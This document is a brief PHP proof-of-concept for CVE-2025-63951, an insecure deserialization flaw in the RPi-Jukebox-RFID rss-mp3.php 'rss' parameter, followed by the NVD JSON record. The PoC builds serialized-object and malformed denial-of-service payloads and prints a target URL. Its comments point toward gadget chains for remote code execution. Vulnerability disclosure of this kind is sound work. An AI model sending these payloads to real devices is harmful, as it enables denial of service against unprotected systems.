CVE-2025-63951

<?php // CVE-2025-63951 PoC - Insecure Deserialization in RPi-Jukebox-RFID // Target: rss-mp3.php via 'rss' GET parameter // Simple PoC demonstrating the vulnerable endpoint $vulnerable_url = 'http://target-host/rss-mp3.php?rss='; // Basic serialized payload to trigger error/DoS // In real attack, this could be chained with gadget chains $payload = 'O:1:"A":1:{s:1:"a";s:4:"test";}'; // For DoS, a malformed serialized object $dos_payload = 'O:999999:"Test":0:{}'; // Example using curl to send the payload echo "Sending PoC to vulnerable endpoint...\n"; echo "URL: " . $vulnerable_url . urlencode($payload) . "\n"; // Note: This is a simplified PoC for demonstration // Real exploitation may require gadget chains for RCE // Recommended to test in isolated environment only ?>

{"cve": {"id": "CVE-2025-63951", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:55.070", "lastModified": "2025-12-31T19:27:41.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure deserialization vulnerability exists in the rss-mp3.php script of the MiczFlor RPi-Jukebox-RFID project through commit 4b2334f0ae0e87c0568876fc41c48c38aa9a7014 (2025-10-07). The 'rss' GET parameter receives data that is passed directly to the unserialize() function without validation. This allows a remote, unauthenticated attacker to inject arbitrary PHP objects, causing the application to process them and leading to errors or a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sourcefabric:phoniebox:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-10-07", "matchCriteriaId": "85370767-86C8-423B-947E-AD4413AD6E1F"}]}]}], "references": [{"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/RPi-Jukebox-RFID/CVE-2025-63951.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/RPi-Jukebox-RFID/CVE-pending-Deserialization.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}